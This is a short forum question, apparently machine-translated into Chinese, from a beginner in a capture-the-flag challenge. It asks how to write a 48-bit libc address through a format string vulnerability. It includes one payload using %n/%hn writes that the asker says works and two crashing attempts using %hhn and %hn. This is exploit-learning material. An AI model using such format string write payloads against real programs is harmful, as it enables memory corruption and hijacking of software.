我正在解决一项挑战,要求我用 libc 地址覆盖内存地址,该地址通常约为 48 位。 我可以将 32 位数字写入地址,但任何大于该地址的数字都会开始出现对齐问题,并且情况会开始出现问题。 将数字 0x8e719f2e 写入地址 target_address 我会说
payload = b"%36465x%7$n" + b"%4285x%8$hn" + p64(target_address+2) + p64(target_address)
并且有效
假设你需要写一个像 0x7f4121347120 这样的 libc 地址,你会怎么做?
我的一些失败的尝试包括: 尝试按降序写入每个单独的字节
%hhn
和“A”用于对齐填充:
0x7f4121347120
payload = b"%32x%7$hhnAAA" + b"%1x%8$hhn" + b"%19x%9$hhn" + b"%7x%10$hhn" + b"%48x%11$hhn" + b"%48x%12$hhn" + p64(ta) + p64(ta+3) + p64(ta+2) + p64(ta+4) + p64(ta+1) + p64(ta+5)
尝试一次使用两个字节
%hn
:
payload = b"%8500x%7$hnAAAAAA" + b"%20460x%8$hn" + b"%3617x%9$hn" + p64(ta+2) + p64(ta) + p64(ta+4)
最后:尝试一次写出整个内容,这显然是行不通的,而且(根据经验)会堵塞你的整个系统。
不知道还能尝试什么。 这两个有效负载都会导致程序出现段错误。
我对此有错误的想法吗?顺便说一句,我是 pwn 和这个网站的菜鸟,所以请不要烤我
我也知道pwntools有一个函数fmtstr_payload,但我首先想手动开发有效负载以实现综合目的。
我的问题的重点是如何使用格式字符串漏洞编写一个大值,非常感谢任何帮助
这个sammo4你解决了吗?让我知道。